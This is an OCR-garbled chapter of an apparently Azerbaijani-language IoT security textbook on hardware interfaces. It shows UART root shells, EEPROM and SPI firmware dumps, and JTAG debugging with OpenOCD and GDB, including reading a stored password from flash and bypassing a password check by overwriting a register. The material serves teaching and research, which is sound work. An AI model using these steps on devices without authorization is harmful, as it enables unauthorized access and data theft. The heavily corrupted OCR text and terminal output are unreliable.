DO D1 D2 D3 D4 DS D6 D7 GND

Sakil 9.5. Attify Badge pinout — UART, SPI, 12C va JTAG iigiin tayinat
UART Qosulmanin Qurulmasi

UART interfeysindon istifado etmokls, cihazin daxilinde isloyon omrlor

konsolunu oldo etmok miimkiindiir. Bu da todqgiqatciya root soviyyali giris, sistem
fayllarinin izlonmasi vo ya firmware ¢ixarma imkani verir.

Tipik UART baglantis1 bels aparilir:

Cihazin TX xotti — Attify Badge D1 (RX)
Cihazin RX xotti — Attify Badge DO (TX)
GND xaotti hor iki cihaz arasinda ortaq olmalidir
VCC xotti qosulmamalidir (risklidir!)

UART Uzarindon Baud Rate Miioyyanlosdirilmasi

Cihazla UART olaqosi qurarkon, ilk etmoli oldugumuz is baud rate-i

miioyyonlosdirmokdir. Ogor yanlis baud rate secilorso, molumatlar qarisiq vo ya
oxunmaz sakildo goriinacok. Bunun {i¢lin baudrate.py adli skript istifado olunur:

git clone https://github.com/devttys0/baudrate.git
cd baudrate
sudo python baudrate.py

Cihazin dmesg vo ya /dev altindaki portunu tapmagq iigiin (Sokil 9.6):

ls /dev | grep ttyUSB
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oit@oit:~$ 1s /dev
loop-control sda tty25 ttys7 ttys3
; T sdal tty26 tty58 ttys3e
mcelog sda2 tty27 tty59 ttys3l
) mem sdas tty28 tty6é ttys4
btrfs-control memory_bandwidth tty29 tty6o ttyss

midi sgo. tty3 tty6l ttysé

€ sgl tty30 ttye2 ttys7
network_latency sg2 tty3l tty63 ttyss
console network_throughput sh tty32 tty7 ttys9
re null snapshot tty33 ttys 0
u port snd tty34 tty9 uhid
cpu_dma_latency ppp sro tty35 ttyprintk uinput
cuse psaux srl tty36 ttyse urandom

Sakil 9.6. Portun tapilmast
e UART Konsoluna Qosulma va Root Shell 9ldo Etmo

Ogor diizgiin port vo baud rate tapilibsa (masslon, 38400), screen alati ilo
UART konsoluna qosulmaq olar:

e sudo screen /dev/ttyUSBO 38400

Cihaz1 yenidon basladigdan sonra boot prosesini vo BusyBox shell ¢ixigini
miisahids eda bilorik.

Find Port=0 Device:Vender I1D=817910ec
vendor deivce 1d=817910ec

EXIT rtl8192cd init one <<
INSIDE rt18192cd init one
EXIT rtl8192¢cd init one <<

Probing RTL8186 10/100 NIC-kenel stack size order[2]...
Booting...

* chip _no chip 1id mfr id dev  id cap 1id size sft dev size chipSize
* 0000000h 0c22017h 00000c2h 0000020h 0EOEE17h 6606CO6Nh 6000017h 6866060h
* blk size blk cnt sec size sec cnt pageSize page cnt chip clk chipName
* 0010000h 000008Oh DOO1606h 6CEO80Oh 0C0O106h ©00OO16h 000002dh MX25L6405D

................................................................................

Sakil 9.7. Boot prosesinda debug loglar

# s

bdi misc ppp scsi host usb host
block mtd scsi device  sound videodlinux
firmware net scsi disk tty

mem pktcdvd scsi generic usb endpoint

# Sending discover...

Sakil 9.8. IP kamera iizarinda root saviyyali shell — UART istismari naticasinda

Ogor cihazin tam yiliklonmosini bir neg¢o saniyo do gozlosok vo sistemin
BusyBox miihiti aktivlesso, IP kamera {izorindo autentifikasiyasiz root soviyyali
shell alds etmis olacagiq. Bu, todqgiqatciya sistemdo tam nozarat imkani verir: fayl
sistemini tohlil etmok, konfiqurasiyalar1 doyigsmok, hossas molumatlari tapmaq vo ya
firmware-i ¢ixarmaq kimi amaoliyyatlar icra oluna bilor (Sakil 9.8).
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9.3. I’C protokolu ila asag saviyyali analiz va malumat ¢ixarilmasi

Magsad — cihazda saxlanilan molumatlarin oxunmas: vo lazim goldikdo
yazilmasi ii¢iin uygun skriptlordon vo alstlordon istifado edorok, sistem daxilindoki
yaddasa nozarat oldo etmokdir.

Praktik misal olaraq, istifado¢i molumatlarini 6ziindo saxlayan bir agilli
qliikkometr cihazi lizerinds analiz aparilacaq. Cihazin i¢orisindeki EEPROM c¢ipina
qosularaq, offline saxlanmilan saglamliq molumatlarinin neco ¢ixarildigini
gostoracayik. Eyni metodologiya istonilon I?C protokolu ilo isloyon EEPROM f{igiin
totbiq oluna bilor — masalon, GY-521 modulundaki yaddas cipi vo ya istonilon
24LC256 seriyali EEPROM.

Yaddas c¢ipi ilo islomoyo baslamazdan ovvol onun pin funksiyalarin
datasheet-don toyin etmoliyik. EEPROM c¢ipi Attify Badge ilo iki iisulla
olagolondirils bilor:

1. SOIC klipi vasitasilo birbasa
2. Cipi cihazdan ayirib EEPROM adapterina lehimlomaklo

5V
5V

|
—— Vv
AO VCC -
a
=- ]
Al wp |

r~

3

L
A2 SCL

T [,
GND SDA D1

wu

—n D2
Attify Badge

GND

Sakil 9.9. Attify Badge ilo EEPROM arasinda fiziki alaqo sxemi

Omoliyyati hoyata kec¢irmok {i¢iin Craig Heffner torofindon yazilmig
i2ceeprom.py adli Python skriptindon istifados edilir. Bu skript libmpsse kitabxanasi
tizorindo qurulmusdur.
[https://github.com/devttys0/libmpsse/blob/master/src/examples/i2ceeprom.py]
Skriptin funksionalligt:

o EEPROM cipinin 6l¢iisti (SIZE) vo siirati (400 kHz) toyin olunur
« Start() komutu ils slaqe qurulur

o Oxuma omri (RCMD) ilo EEPROM oxuma rejiminag kegirilir

o Molumat Read() ilo alinir vo fayla yazilir

Omoliyyat ugurla basa catdiqda, cixarilan molumatlar .bin formatinda
saxlanilir vo istonilon “hex editor” va ya binwalk il tohlil oluna bilor.

[stonilon cihaz iizerindo I2C ¢ipinin analiz edilmosi ii¢iin asagidaki morhololor
totbiq olunur:

o Qurgunun ag¢ilmasi va PCB iizorindo EEPROM-un miioyyanlasdirilmasi
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o Komponent ndmrasinin oxunaraq datasheet-in alds edilmosi
o Pinout molumatlarinin 6yronilmasi

« Attify Badge ilo baglantilarin qurulmasi

o Python skripti ilo malumatin oxunmasi/yazilmasi

root@oit: /libmpsse/src/examples# python i2ceeprom.py
FT232H Initialized at 400KHZ
2493000 bytes dumped to eeprom.bin

Sakil 9.10. EEPROM molumatlarimin fayla ugurla yazll_mas1 — terminalda ¢ixis
9.4. SPI Protokolu ilo Firmware-in Cixarilmasi

Interfeys soviyyosindo analizlor zamani todqiqatgilarm on ¢ox qarsilasdigi
ssenarilordon biri — cihaz {izorindoki SPI flash yaddas ¢ipindon tam firmware
faylinin ¢ixarilmasidir. Bu proses tokco molumat toplama deyil, hom do firmware
analizlori vo zoifliklorin agkarlanmasi {i¢iin vacib addimdir.

Bu hissada, OpenWRT asasli bir cihaz olan WRTNode iizorinds real tocriibo
aparacagiq. Moqsod — spiFlash.py adli Python skriptindon vo Attify Badge
alotindon istifado edorak, flash yaddasdan firmware-i ¢ixarib binwalk kimi alotlorlo
fayl sistemini analiz etmokdir.

WRTNode lovhasindo SPI interfeys iigclin uygun pad-lar movcuddur. Bu
l6vhonin datasheet-i agiq sokildo moévcuddur vo onun genis istifado olunmasi
tocriiboni asanlasdirir. SPI pinlori ilo Attify Badge arasindaki uygun baglant1 sokil
9.11-do verilmisdir.

Sakil 9.11. SPI Baglanti sxemi — Attify Badge ilo WRTNode arasinda

Qosulma tamamlandiqdan sonra, spiFlash.py adli Python skriptini asagidaki
sokildo iso salaraq firmware-i ¢ixara bilorik:

¢ sudo python spiFlash.py -r wrtnode-dump.bin -s 2000000

Burada:
» -r — ¢ixarilan firmware-in adini toyin edir
= -s — oxunacaq flash yaddasin 6l¢iisiinii baytla gostorir (2MB)
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- examples git:( ) X sudo python spiflash.py -r wrtnode-dump.bin -s 20000000
FT232H Future Technology Devices International, Ltd initialized at 15000000 hertz
Reading 20000000 bytes starting at address 0x0...saved to wrtnode-dump.bin.

Sakil 9.12. SPI vasitasila firmware ¢ixarilmasi — terminal naticasi

Bu texnikalar real cihazlarin tohliikosizlik tohlili, reverse engineering vo
sistem zaifliklorinin miiayyonlosdirilmasi iigiin vacib alatlordon biridir. Attify Badge
bu prosesds interfeys kopriisii rolu oynayaraq miihiim funksiyani yerino yetirir.

9.5. Ciplara asag saviyyali cixis va tahliikasizlik magsadli
diagnostika

Ovvalki bolmolorde UART, SPI vo I’C kimi miixtalif seriyali rabito
interfeyslorini tohlil etdik. Bu bélmads iso JTAG (Joint Test Action Group) adlanan
va daha ¢ox sistem daxili analiz, test vo debugging moagsodlori {ligiin istifado olunan
bir texnologiyaya noazor saliriq. JTAG klassik monada rabita protokolu deyil; bu,
sistemin daxilinds yerloson mikrogiplorlo asagi soviyyado qarsiligh slagoys imkan
veran bir test vo diagnostika interfeysidir.

JTAG 1980-ci illorin ortalarinda miixtolif ¢ip istehsalgilar1 torofindon
cotinlikla test edilon PCB-lardaki (printed circuit board) ¢iplorin test problemini hall
etmak {igiin yaradilmisdir. Coxsayli pinlari olan yiizlarls ¢ipi alls test etmok praktiki
olaraq miimkiin olmadigindan, bu ¢otinliyi aradan gqaldirmaq {¢iin JTAG
texnologiyas1 standartlasdirildi vo 1990-c1 ildo IEEE 1149.1 standarti ilo gobul
olundu.

ovvallor yalmz test liglin nozordo tutulan JTAG, bu giin embedded
sistemlordo asagidaki kritik funksiyalar li¢iin istifado olunur:

o Cip soviyyesindo pinlorin monitoringi vo qiymatlondirilmasi

o PCB iizorindoki komponentlor arasinda oslagolorin yoxlanmasi
« Yaddas ¢iplorindon firmware ¢ixarilmasi

« Breakpoint-lorin yerlosdirilmasi, registr vo stack tohlili

« Sistem boot etmomisdon avval erkon morhslads diagnostika

Tohliikasizlik baximindan shamiyyati:
Ogor bir cihazin JTAG interfeysi aktivdirss, bu todqiqatcilara:
« Sistemin boot prosesindon avval daxil olmaq
« Ciplorin registr vo komanda ardicilligini analiz etmok
e On vacibi — firmware vo hossas molumatlari ¢gixarmaq imkan1 verir

JTAG pinlorini toyin etmok UART vo ya SPI ilo miiqayisads daha ¢otin ola
bilor. UART-da 3 vo ya 4 pin sado sokildo miioyyon edilo bildiyi halda, JTAG
pinlorini doqiq toyin etmok ii¢lin olavo alotlordon istifado olunur (mosslon:
JTAGulator).
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JTAG-da asason dord asas pin istifads olunur (Sakil 9.13):
e« TDI — Test Data In
o« TDO — Test Data Out
o TMS — Test Mode Select
o« TCK - Test Clock

4

)

R47
R27.¢

Sakil 9.13. Netgear WG602v3 yonlandiricisi iizorinda JTAG pinlarinin yerlosmasi
JTAG Pinlorini Miiayyanlasdirmok iiciin iki Yanasma

1. JTAGulator ilo avtonom identifikasiya (Sokil 9.14)
2. Arduino cihazin1 JTAGenum firmware-i ilo proqramlasdiraraq identifikasiya
Bu bélmodo JTAGulator alotindon istifado edorak pin toyini aparacagiq. Bu

aciq monbali avadanliq Joe Grand toraofindon hazirlanmisdir vo 24 I/O kanalla hom
UART, hom do JTAG pinlorini toyin eds bilir.

Mife. PG

T pEinr ke

Sokil 9.14. JTAGulator cihazinin gériiniigii

o JTAGulator ilo Pin Tapilmasi Prosesi

= Qurgu baglantis1 vo terminalin agilmasi:

e screen /dev/ttyUSBO 115200

=  Gorginliyin toyini:

Terminalda V yazaraq sistemin I/O gorginliyini 3.3V olaraq segirik.
= BYPASS Scan vo pin say1:

B yazaraq scan baglatmaq vo pin sayini1 toyin etmok.
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vV

Current target I/0 voltage: Undefined

Enter new target I/0 voltage (1.2 - 3.3, @ for off): 3.3
New target I/0 voltage set: 3.3

Ensure VADJ is NOT connected to target!

:B

Enter number of channels to use (4 - 24): 7

Ensure connections are on CH6..CHO.

Possible permutations: 840

Press spacebar to begin (any other key to abort)...
JTAGulating! Press any key to abort...................
TI: 1

T00: 2

TCK: 6

™S: 4

TRST#: 0O

TRST#: 1

TRST#: 3

TRST#: 5

Number of devices detected: 2

Sakil 9.15. Terminal iizorindon JTAG pinlarinin avtomatik tapiimasi

9.6. OpenOCD ilo JTAG Debugging

OpenOCD — on-chip debugging mogsadils istifado olunan, Dominic Rath
torofindon hazirlanmis agciq monba proqramdir (Sakil 9.16). Bu vasita ilo:
» Cihaz lizarindoki ¢ipler test edilir
= Registr vo stack tohlil olunur
« Firmware ¢ixarilir vo analiz olunur
« Flasha program yazmaq miimkiindiir

e JTAG Debugging iiciin Tolob Olunan Avadanhqlar

JTAG debugging vo asag1 soviyyali sistem analizini hoyata ke¢irmok iigiin
asagidaki avadanliglar tolob olunur:
« Attify Badge, BusPirate, Segger J-Link vo ya banzar interfeys qurgulari
o JTAG interfeysino malik hodof cihaz

s
1986selr.cfg efm32 stlink.cfg omap3530.cfg
adsp-sc58x.cfg em357.cfg omap4430.cfg
aduc702x.cfg em358.cfg omap4460.cfg
aducm366.cfg epc93el.cfg omap5912.cfg
alphascale_asm9260t.cfg exynos5250.cfg omapl138.cfg
altera fpgasoc.cfg faux.cfg orlk.cfg
am335x.cfg feroceon.cfg pic32mx.cfg
am437x.cfg fm3.cfg psocd.cfg
amdm37x.cfg fmd.cfg psocSlp.cfg
ar7lxx.cfg fmd_mb9bf.cfg pxa255.cfg
armada370.cfg fmd_s6e2cc.cfg pxa270.cfg
at32ap7000.cfg gp326xxxa.cfg pxa3xx.cfg
at91r40008.cfg hilscher netx10.cfg quark d26xx.cfg
at91rm9200.cfg hilscher netx500.cfg quark x10xx,cfg
at91sam3ax_4x.cfg hilscher netx56.cfg readme.txt
at91sam3ax_8x.cfg icepick.cfg renesas_s792.cfg
at91sam3ax_xx.cfg imx21.cfg samsung_s3c2410.cfg
at91sam3nXX.cfg imx25.cfg samsung_s3c2440.cfg
at9lsam3sxX.cfg imx27.cfg samsung 53c¢2450.cfg
at91sam3ulc.cfg imx28.cfg samsung_s53c4510.cfg
at91sam3ule.cfg imx31.cfg samsung_s3c6410.cfg
at91sam3u2c.cfg imx35.cfg sharp_1h79532.cfg
at91sam3u2e.cfg imx51.cfg sim3x.cfg
at91sam3udc.cfg imx53.cfg smp8634.cfg
at91sam3ude.cfg imx6.cfg spear3xx.cfg
at9lsam3uxx.cfg imx.cfg stellaris.cfg
at91sam3xXxx.cfg is5114.cfg stellaris_icdi.cfg
at9lsamdc32x.cfg ixpa2x.cfg stm32fox.cfg
at9lsamdcXxxX.cfg k1921vke1t.cfg stm32f0x stlink.cfg

Sakil 9.16. OpenOCD konfiqurasiya fayllarinin siyahisi

o Attify Badge ilo JTAG Debugging iiciin 9traf Miihitin Hazirlanmasi
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Tocriibbado sadoliyi tomin etmok maogsodilo biz JTAG debugging
omoliyyatlarimiz tigiin Attify Badge istifads edirik. Bu mogsadlo hadaf cihazdaki
JTAG pinlori il Attify Badge tizorindoki uygun pinlari birlosdirmaliyik (Sokil 9.18).
Baglantin1 diizglin sokildo tomin etmok iigiin OpenOCD programinda uygun
konfiqurasiya fayllarindan istifads edilmalidir.

Nimunas magsadilo STM32F103C8 mikrokontroller ailosine aid olan bir
cithazdan istifado edilir. Onun datasheet-indon gotiiriilmiis pinout diaqrami $akil
9.17-do daha aydin basa diisiilmasi {i¢lin togdim olunur.

A15is TDI

B3is TDO o CLK is TCK
STM32 F103 C8 CB e

DIO is TMS

SRAM 20k

Sakil 9.17. STM32F103C8 mikrokontrollerinin pin konfiqurasiyasi (datasheet asasi)

Attify Badge iigiin .cfg konfiqurasiya fayli:

interface ftdi

ftdi_vid pid 0x0403 0x6014
ftdi_layout init 0x0c08 0x0flb
adapter_khz 2000

STM32F1 mikrokontrollerlori {igiin iso OpenOCD ilo birlikdo golon
stm32f1x.cfg faylindan istifads olunur.

Sakil 9.18. Attify Badge ilo STM32 iizorinda baglanti sxemi

Baglant1 ugurla quruldugdan sonra asagidaki komanda ilo OpenOCD-ni iso
salmaq miimkiindiir:
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¢ sudo openocd -f badge.cfg -f stm32flx.cfg

Bu komanda islodildikds, terminalda asagidaki molumatlar1 oks etdiron bir

natico goriinacok:

$ sudo openocd -f badge.cfg -f stm32fx.cfg
Open On-Chip Debugger 0.7.0 (2013-10-22-17:42)
Licensed under GNU GPL v2
For bug reports, read
http://openocd. sourceforge.net/doc/doxygen/bugs . html
Info : only one transport option; autoselect 'jtag'
adapter speed: 2000 kHz
adapter speed: 1000 kHz
adapter_nsrst_delay: 100
jtag_ntrst_delay: 100
Warn : target name is deprecated use: 'cortex_m’
DEPRECATED! use 'cortex_m' not 'cortex_m3'
cortex_m3 reset_config sysresetreq
Info : clock speed 1000 kHz
Info : JTAG tap: stm32fix.cpu tap/device found: o0x3bao0477
(mfg: ox23b, part: oxba00, ver: 0x3)
Info : JTAG tap: stm32fix.bs tap/device found: 0x16410041
(mfg: 0x020, part: 0x6410, ver: Ox1)
Info : stm32fix.cpu: hardware has 6 breakpoints, 4 watchpoints

Sakil 9.19. OpenOCD ila baglanti naticalari (terminal ¢ixisi)

OpenOCD serverina qosulmagq liciin agagidaki komanda istifado olunur:

¢ telnet localhost 4444

Ogor baglanti ugurludursa, Open On-Chip Debugger interfeysino daxil
olurug. Bu morholodon sonra artiq JTAG vasitasilo hodof cihazla qarsiligh oslage
mimkiindiir (Sokil 9.20).

» reset init

JTAG tap: stm32fix.cpu tap/device found: 0x3baoo477
(mfg: 0x23b, part: oxbaoo, ver: 0x3)

JTAG tap: stm32fix.bs tap/device found: 0x16410041

(mfg: Ox020, part: Ox6410, ver: Ox1)

target state: halted

target halted due to debug-request, current mode: Thread
xPSR: 0x01000000 pc: 0x080009f0 msp: 0x20005000

» halt

Sakil 9.20. Reset va halt amrlari ila cihazin durumu

Goriindiiyii kimi, JTAG pinlorinin diizgiin toyin edilmosi vo OpenOCD
vasitoasilo hadof cihazla slagonin qurulmasi noticasindo asagidakilar miimkiin oldu:
« Sistemin igarisino debugging soviyyosindo giris
» Mikrokontroller iizorinds breakpoints vo registr tohlili
« Firmware ¢ixarilmasi vo analiz
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Bu proses torsino miihondislik, gorunmayan bootloader-lorin agskarlanmasi vo
avtomatlasdirilmis firmware analizlori ii¢iin vacib addimdir.

e JTAG ilo Cihaza Firmware Yazilmasi

JTAG interfeysi yalniz diagnostika vo debugging oamaliyyatlari {i¢iin deyil,
hom do hadof mikrokontrollers firmware vo digor molumatlari yazmaq mogsadilo
istifada edils bilor. Bu, xiisusils tohliikasizlik testlori zamani faydali olur — masalon,
cthazin tohliikesizlik mohdudiyyatlorini agsmaq T{clin doyisdirilmis firmware
versiyasini yiikklomok mogsadilo.

Firmware yazilmadan ovvol, cihazdaki flash yaddasin baslangic {invani
mioyyon edilmolidir. Bu adres miioyyon edildikdon sonra, homin iinvana uygun
olaraq .bin formatl firmware fayl yiiklona bilor.

Telnet ilo sessiyaya qosuldugdan sonra Flash yaddasin baglangic {invanini
Oyronmak ti¢iin asagidaki omr istifads olunur:

¢ > flash banks

Notica olaraq asagidaki molumat gaytarilir:

e #0 : stm32flx.flash (stm32flx) at 0x08000000, size
0x00000000

Bu notico cihazin flash yaddasinin 0x08000000 {invanindan basladigini
gostorir vo homin sahonin hazirda bos oldugunu (6l¢ii 0x0) bildirir. Bu adresdon
istifado edorok, firmware.bin adli xiisusi hazirlanmis firmware-i cihazin yaddasina
yazmagq olar. Mosalon:

e > flash write_image erase firmware.bin 0x08000000

Bu omr icra edildikds sistem torofindon asagidaki mesaj alinir:

auto erase enabled

Info : device id = 0x20036410

Info : flash size = 128kbytes

wrote 65536 bytes from file firmware.bin in 4.10s

Firmware vyazildigdan sonra flash yaddasin Olgiisiinlin  doyisdiyini
tosdiqlomoak tigilin eyni flash banks omrini tokrar icra edirik:

¢ > flash banks

e #0 : stm32flx.flash (stm32flx) at 0x08000000, size
0x00020000
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Bu metod, miixtalif cihazlarin yaddas sahalorini doyisdirmak vo ya firmware-
ni yenilomak istoyon todqiqat¢ilar vo tohliikesizlik miitoxassislori tigiin effektiv
vasitadir.

e C(Cihazdan Firmware vo Molumatlarin Cixarilmasi

Ogor firmware-1 oldo etmoyin digor iisullart ugursuz olarsa, JTAG bizim
ehtiyat se¢imimiz olaraq ¢ixis edir. JTAG interfeysi vasitosilo dump image omri ilo
cthazdaki flash yaddasdan firmware ¢ixarmaq miimkiindiir.

Asagidaki niimunado biz 0x08000000 iinvanindan baslayan flash yaddasdan
0x20000 baytlig molumati ¢ixaririq vo onu dump.bin faylina yaziriq:

¢ > dump_ image dump.bin 0x08000000 0x00020000

Omrin icrasi naticasinds asagidaki kimi bir natico alinir:

e dumped 131072 bytes in 1.839897s (69.569 KiB/s)

Bu omoliyyat noticosindo cihazin yaddasinda yerlogson firmware-in tam
niisxasi dump.bin adl fayla ¢ixarilir. Bu ¢ixarilmis firmware daha sonra tohlil edilo
va ya doyisdirila bilor.

e C(Cihazdan Msalumatlarin Selektiv Oxunmasi

JTAG yalniz biitov firmware-i ¢ixarmagq ti¢iin deyil, hom do miioyyon yaddas
tinvanlarindan se¢ilmis molumat bloklarin1 oxumagq {i¢lin do istifads edilo bilor. Bu
xiisusilo faydalidir ki, agor bizo konkret funksiyalarin vo ya parollarin saxlandigi
yaddas saholori molumdursa, homin yerlori oxuya vo doyisdiro bilorik.

Bu omoliyyat iigiin mdw amrindon istifado olunur:

e > mdw
e mdw ['phys'] address [count]

Mosalon, agor firmware-do UART autentifikasiya funksiyasit varsa vo bu
funksiyanin parolu d240 offset-indo yerlosirso, biz onu asagidaki omr vasitosilo
oxuya bilorik:

e > mdw 0x0800d240 10
Bu omrin naticosi belo goriing bilor:

e 0x0800d240: 69747469 6£007966 6e657663 546£4920
e 0x0800d250: 7469666f 6£697461
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Bu molumatlarin ASCII formatda qarsilig1 atfify soziidiir — yoni bu, cihazin
saxladig1 real paroldur. Bu ciir yanasma ilo todqiqatct vo ya tohliikasizlik testcisi
yaddas sahsalorindon lazim olan kritik molumatlari oxuya va tohlil eds bilar.

e GDB vasitasilo JTAG uizorindon Debugging

Bozon firmware vo ikili fayllar1 (binary) JTAG vasitosilo daha yaxsi anlamagq,
cthazin daxilindo bas veron proseslori izlomok vo tolimat axisini doyismok {i¢iin
detalli debugging tolob olunur. Biz artiq GDB debugging prinsiplori ilo tanis
oldugumuz iigiin, burada osas mogsadimiz daha ovvol JTAG ilo cihazimiza
yazdigimiz .bin faylim analiz etmok olacaq.

Analiz ii¢iin authentication.elf ikili (binary) fayli hazirlanmisdir (Oziiniiz
hazirlayin). Biz bu fayl analiz edorkon OpenOCD bizs eyni anda iki xidmat togdim
edir:

o Port 4444: OpenOCD ils birbasa qarsiligli alaqoe iigiin,
o Port 3333: GDB server iizorindon binary debugging ti¢iin.

Indi GDB-Multiarch programini iso salib, asagidaki omrlorlo proseso
baslayiriq:

e $ gdb-multiarch -q authentication.elf
e (gdb) set architecture arm
¢ (gdb) target remote localhost:3333

Ugurla qosuldugdan sonra, ilk addim olaraq binary-do mévcud olan
funksiyalarin siyahisini almaqdir (Sokil 9.21):

¢ (gdb) info functions

(gdb) info functions

Nen-debugging symbols:

0x08000000 g_pfnVectors

0x0800010c deregister_tm_clones

0x0800012c register_tm_clones

0x08000150 __do_global_dtors_aux

0x08000178 frame_dummy

0x08000218 mbed: :Serial::~Serial()

0x08000218 mbed: :Serial::~Serial()

0x0800023¢ non-virtual thunk to mbed::Serial::~Serial()
0x08000244 non-virtual thunk to mbed::Serial::~Serial()
0x0800024c doorclose()

0x08000290 dooropen()

Sakil 9.21. Funksiyalar haqda malumat
Noticado bizo verify pass(char*) adli funksiyanin moévcudlugu gostorilir

(Sokil 9.22). Bu funksiya daxil edilmis parolu strcmp omri ilo cihazin yaddasinda
saxlanilan real parolla miigayiso edir.
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(gdb) disassemble werifypass(char*)
Dump of assembler code for function _ZioverifypassPc:

0x080002e0 <+0>: push  {r3, 1r}

0x080002e2 <+23: ldr r1, [pc, #24] ; (0xBoo02fc
<_Z1overifypassPc+28>)

0x080002e4 <+4>: bl 0x8003910 <strcmp>

0x080002e8 <+8>: cbnz 10, O0xB0002f2 <_Z1OverifypassPc+18>

0x080002ea <+10>:  ldmia.w spl, {r3, lr}

0x080002ee <+14>: b.w  0xB000290 <_Z8dooropenv>

0x080002f2 <+18>: ldmia.w spl, {r3, 1lr}

0x080002f6 <+22>: b.w  0x800024c <_Z9doorclosevs
0x080002fa <+26>: nop
0x080002fc <+28>: bcs.n 0x8000380 <_ZN4mbed6SerialDOEv>
0x080002fe <+30>: lsrs 10, r0, #32

End of assembler dump.

Sakil 9.22. Verifypass funksiyasinin disassemble goriiniisii

Indi biz homin funksiyan1 disassembler vasitosilo analiz edirik:

¢ (gdb) disassemble verifypass (char*)

Disassembler naticosindo 0x080002e4 linvaninda stremp omri goriiniir. Bu,
miiqayisonin aparildig1 yerdir. ©Ogor uygunluq varsa, funksiya dooropen()
funksiyasina yonalir; oks halda iso icra davam edir.

Indi homin miiqayiso ndqtesina breakpoint qoyuruq vo programi davam
etdiririk:

e (gdb) b *0x080002e4
¢ Breakpoint 1 at 0x080002e4
e (gdb) c

00

N o, ATTIFY
02 BADGE
D3 ]

Sakil 9.23. UART-n cihaza qosulmasi

Bu zaman biz UART {izorindon cihazla olaqo qurub hor hansisa parolu daxil
etdikdo, bu breakpoint igo diisocok (Sokil 9.23). UART baglantisin1 asagidaki omr
ilo qururuq:

e $ sudo screen /dev/ttyUSBO 9600
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Giris zamani “testing” kimi yalnis bir parola daxil edirik. Homin anda GDB
terminalinda breakpoint iso diisiir vo bu, bizim miiqayise ndqtosina ¢atdigimizi

gostarir (Sokil 9.24):

¢ (gdb) info registers

Bu oamrlos 0 va rl registrlorinin mozmununu analiz edirik. 0 — daxil edilmis
parol, 71 iso real parol olacaq. indi bu registrlorin dayarlorine baxiriq:

(gdb) x/s $r0
"testing"
(gdb) x/s $rl
"attify"

(gdb) info registers

10
11
12
13
he's
15
16
17
18
19
110
111
ri2
ap
1r
pc
XpsT

0x20004fe0
0x800d240
0x34000000
0x20004fe8
0x0 0

0x20004fe0
ox20004fef
0x20004fe7
oxbd7ff3ba
Ox9aebfeas
ox1fff5000
ox0 0

0x20004f50
0x20004fd8
0x800035d

0x80002e5

0x61000020

536891360
134271552
872415232
536891368

536891360
536891375
536891367
-1115688006
-1695809883
536825856

536891216

0x20004fd8

134218589

0xB0002e5 <verifypass(char*)+d>
1627389984

Sakil 9.24. Registerlor haqqinda malumat

Indi iso 70-1 doyisarok 1 ilo eyni edirik:

e (gdb) set $rO0="attify"

Bu doyisiklikdon sonra ¢ omri ilo programin icrasini davam etdiririk vo cihaz
“Authentication Successful” mesaj1 ilo bizo giris icazasi verir (Sokil 9.25).

Offensive ToT Exploitation by Attify!
Enter the password: * Bx20004fed "testing”
sesssssputhentication Successfulloor Open

s .
(gd) x/s $r@

(gdd) x/s $rl

OxB00d240 < Fim+1645: “ortify”
(gdb) set Sr@."attify’

(gdb)

Continuing

Sakil 9.25. JTAG Debugging ila autentifikasiyanin bypass olunmast

Bu bélmads biz JTAG interfeysinin togqdim etdiyi imkanlar vasitosilo bir
mikrokontrollera neco dorindon baxmaq, onun daxilindo bas veronlori miisahido
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etmok vo noazarati olo almaq yollarii dyroandik. Tohliikasizlik tadqiqatgisi liciin bu
tip texniki biliklor sadoco bir hadafi sindirmagq tigiin deyil, hom do onu daha giiclii
vo miidafioys hazir hala gotirmoak ti¢lin osas tomoallordon biridir.

JTAG, oksor hallarda istehsal zamani test moagsadils olave edilmis, lakin ¢ox
zaman qorunmamis qalan bir interfeysdir. Onun vasitasilo cihazin yaddasina ¢ixis
oldo etmok, firmware-i doyismok, cithazin davranisimi izlomok vo ya haor hansi bir
sohvli funksiyani izloyorok onu anlamaq miimkiindiir. Amma bu alotlorin asl doyori
— onlarin necs isladiyini anlayaraq sistemin biitdvliikde neco qorunmali oldugunu
dork etmokdadir.

Bu bélmodaki praktiki tocriibolor, OpenOCD vo GDB kimi giiclii vasitalorlo
mikrokontrollerin daxilino girmok, register soviyyasindo analiz aparmaq vo real
zamanli proseslori manipulyasiya etmak bacarigi, sonaye saviyyali loT tohliikasizlik
todqgiqgatlarinin biindvrosidir.

9.7. Firmware-nin Tarsina Miihandisliyi va Tahlili

Ovvalki hissalorde [oT cihazlarina gars1 fiziki vo aparat soviyyosindo
miidaxilo texnikalarina toxunduq. Bu hissados 1so diggatimizi bir godor daha dorin vo
inco bir istigamoto — firmware-nin torsino miihondisliyino vo analizino yonoldirik.
Firmware iizorindo aparilan bu tohlillor IoT tohliikasizliyindo ¢ox miihiim yer tutur,
clinki istor zoifliklorin askar edilmosi, istorso do autentifikasiya mexanizmlorinin
asilmasi baximindan, firmware todqiqatc¢i liclin on zongin molumat monbayidir.

Masolon, siz Mirai Botnet adin1 yaqin ki, esitmisiniz. Bu botnet on minlorlo
[oT cihazina sadoco =zavoddan ¢ixisda olan login/parol molumatlarini
doyismodiklorino goro yoluxa bilmisdi. Bu fakt gostorir ki, firmware soviyyasindo
arasdirma aparmaq vo homin zoifliklori agkara c¢ixarmaq IoT tohliikosizliyi
miitoxassisi li¢lin zoruridir. Fiziki girisin miimkiin olmadig1 hallarda da firmware
fayli vasitosilo cihazin davranisina vo zoifliklorino dair dorin analiz aparmaq
miimkiindiir.

Asagida firmware-in analizinds istifado olunacaq osas alotlor toqdim edilir:

» Binwalk — firmware fayllarinin torkibini analiz vo ekstraksiya etmok {i¢iin
asas alat.

GitHub: https://github.com/ReFirmLabs/binwalk

* Firmware Mod Kit — firmware modifikasiyasi tigiin dostok alot toplusu.

GitHub: https://github.com/rampagex/firmware-mod-kit

* Firmware Analysis Toolkit — firmware {izorindo avtomatik analiz aparan
miihit.

GitHub: https://github.com/attify/firmware-analysis-toolkit

» Firmwalker — firmware fayllarindaki tohliikali niianslar1 agkar edon skript.

GitHub: https://github.com/craigz28/firmwalker
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e Firmware Nadir?

Firmware — cihazin nonvolatile yaddasinda yerloson, onun miixtalif
funksiyalarin1 idars edon vo omaoliyyatlar1 yerino yetirmosini tomin edon proqram
kodudur. Bu kod kernel, bootloader, fayl sistemi vo digor alava resurslardan ibarot
ola bilor.

Ogor sizin elektronika tacriiboniz yoxdursa bels, telefon vo ya agilli
televizorun "yenilonmosi" prosesi sizo tanigdirsa, bu zaman firmware-in yeni
